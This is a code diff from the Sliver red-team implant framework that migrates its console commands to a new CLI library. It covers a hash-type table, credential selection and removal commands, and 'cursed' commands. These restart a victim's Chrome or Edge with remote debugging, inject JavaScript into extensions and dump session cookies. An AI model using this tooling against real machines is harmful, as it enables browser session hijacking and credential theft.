"MD5_UTF16LE": "md5(utf16le($pass))",
|
||||
"SHA1_UTF16LE": "sha1(utf16le($pass))",
|
||||
"SHA256_UTF16LE": "sha256(utf16le($pass))",
|
||||
"SHA384_UTF16LE": "sha384(utf16le($pass))",
|
||||
"SHA512_UTF16LE": "sha512(utf16le($pass))",
|
||||
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
|
||||
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
|
||||
"MD5_PW_SALT": "md5($pass.$salt)",
|
||||
"MD5_SALT_PW": "md5($salt.$pass)",
|
||||
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
|
||||
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
|
||||
|
||||
// ... TODO fill in the rest ...,
|
||||
|
||||
"CRC32": "CRC32",
|
||||
"CRC32C": "CRC32B",
|
||||
"CRC64Jones": "CRC64-Jones",
|
||||
"JAVA_OBJECT": "Java object",
|
||||
"MURMUR": "MurmurHash",
|
||||
"MURMUR3": "MurmurHash3",
|
||||
"THREE_DES": "3DES (PT = $salt, key = $pass)",
|
||||
"DES": "DES (PT = $salt, key = $pass)",
|
||||
"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"CHA_CHA_20": "ChaCha20",
|
||||
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
|
||||
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
|
||||
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
|
||||
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
|
||||
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
|
||||
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
|
||||
"SCRYPT": "scrypt",
|
||||
"PHPASS": "phpass",
|
||||
"TACACS_PLUS": "TACACS+",
|
||||
"SIP_DIGEST": "SIP digest authentication (MD5)",
|
||||
"IKE_MD5": "IKE-PSK MD5",
|
||||
"IKE_SHA1": "IKE-PSK SHA1",
|
||||
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
|
||||
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
|
||||
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
|
||||
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
|
||||
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
|
||||
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
|
||||
"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
|
||||
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
|
||||
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
|
||||
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
|
||||
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
|
||||
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
|
||||
"CRAM_MD5": "CRAM-MD5",
|
||||
"JWT": "JWT (JSON Web Token)",
|
||||
"RADMIN_3": "Radmin3",
|
||||
"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
|
||||
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
|
||||
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
|
||||
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
|
||||
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
|
||||
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
|
||||
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
|
||||
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
|
||||
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
|
||||
"NET_NTLM_V2": "NetNTLMv2",
|
||||
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
|
||||
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
|
||||
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
"RACF": "Resource Access Control Facility",
|
||||
"AIX_SMD5": "AIX MD5",
|
||||
"AIX_SSHA1": "AIX SHA-1",
|
||||
"AIX_SSHA256": "AIX SHA-256",
|
||||
"AIX_SSHA512": "AIX SHA-512",
|
||||
"LM": "LM",
|
||||
"QNX_MD5": "QNX /etc/shadow (MD5)",
|
||||
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
|
||||
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
|
||||
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
|
||||
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
|
||||
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1)",
|
||||
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
|
||||
"GRUB_2": "GRUB 2",
|
||||
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
|
||||
"NTLM": "NTLM",
|
||||
"RADMIN2": "Radmin2",
|
||||
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
|
||||
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
|
||||
"WINDOWS_PHONE": "Windows Phone 8+ PIN/Password",
|
||||
"CISCO_ASA_MD5": "Cisco-ASA MD5",
|
||||
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
|
||||
"CISCO_PIX_MD5": "Cisco-Pix MD5",
|
||||
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
|
||||
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
|
||||
"DCC": "Domain Cached Credentials (DCC), MS Cache",
|
||||
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
|
||||
// ...
|
||||
|
||||
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
|
||||
// ...
|
||||
|
||||
// INVALID = 9999; // Invalid hash type
|
||||
|
||||
// Out of order
|
||||
"BCRYPT_UNIX": "bcrypt",
|
||||
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package creds
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CredsCmd - Add new credentials
|
||||
func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var id string
|
||||
if len(args) > 0 {
|
||||
id = args[0]
|
||||
}
|
||||
if id == "" {
|
||||
credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
id = credential.ID
|
||||
}
|
||||
_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
|
||||
Credentials: []*clientpb.Credential{
|
||||
{
|
||||
ID: id,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
con.PrintInfof("No credentials 🙁\n")
|
||||
return
|
||||
}
|
||||
PrintCreds(creds.Credentials, con)
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// SelectCredential - Interactive menu for the user to select a credentials from the database
|
||||
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
|
||||
var creds *clientpb.Credentials
|
||||
var err error
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return nil, errors.New("no credentials to select from")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, cred := range creds.Credentials {
|
||||
if cred.Plaintext == "" {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
|
||||
} else {
|
||||
plaintext := cred.Plaintext
|
||||
if len(plaintext) > 12 {
|
||||
plaintext = plaintext[:12] + "..."
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
options = options[:len(options)-1]
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("no credentials to select from")
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a credential:",
|
||||
Options: options,
|
||||
}
|
||||
err = survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for index, value := range options {
|
||||
if value == selected {
|
||||
return creds.Credentials[index], nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -22,13 +22,15 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
@@ -36,7 +38,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -51,24 +52,24 @@ var (
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
payloadPath, _ := cmd.Flags().GetString("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
payload, err = os.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
curse := avadaKedavraChrome(session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -96,10 +97,10 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -111,8 +112,8 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -133,7 +134,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -145,7 +146,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -153,21 +154,21 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
@@ -175,31 +176,31 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
debugPort := getRemoteDebuggerPort(cmd)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
if restore, _ := cmd.Flags().GetBool("restore"); restore {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
if ctx.Flags.Bool("keep-alive") {
|
||||
if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
|
||||
args = append(args, "--keep-alive-for-test")
|
||||
}
|
||||
if ctx.Flags.Bool("headless") {
|
||||
if headless, _ := cmd.Flags().GetBool("headless"); headless {
|
||||
args = append(args, "--headless")
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
|
||||
if len(cargs) > 0 {
|
||||
args = append(args, cargs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
@@ -253,8 +254,8 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag, _ := cmd.Flags().GetString("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
@@ -272,7 +273,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -290,7 +291,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -306,8 +307,8 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag, _ := cmd.Flags().GetString("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
@@ -337,7 +338,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -357,7 +358,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -383,7 +384,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -401,7 +402,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
chromeProcessNames := []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
@@ -416,9 +417,9 @@ func isChromeProcess(executable string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -22,19 +22,20 @@ import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/reeflective/readline"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -89,26 +90,19 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
var (
|
||||
helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
)
|
||||
var helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||
shell := readline.NewShell()
|
||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
||||
// EOFPrompt: "exit",
|
||||
|
||||
if con.Settings.VimMode {
|
||||
shell.Config.Set("editing-mode", "vi")
|
||||
}
|
||||
|
||||
if helpers {
|
||||
@@ -123,8 +117,9 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
line, err := shell.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
@@ -134,8 +129,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
|
||||
switch strings.TrimSpace(line) {
|
||||
case ":help":
|
||||
con.Println()
|
||||
con.Println("Available commands:")
|
||||
@@ -145,7 +140,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
con.Println()
|
||||
|
||||
case ":file":
|
||||
jsCode, err := ioutil.ReadFile(line)
|
||||
jsCode, err := os.ReadFile(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
|
||||
@@ -20,16 +20,17 @@ package cursed
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -46,7 +47,7 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
@@ -59,7 +60,7 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
|
||||
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -20,38 +20,40 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
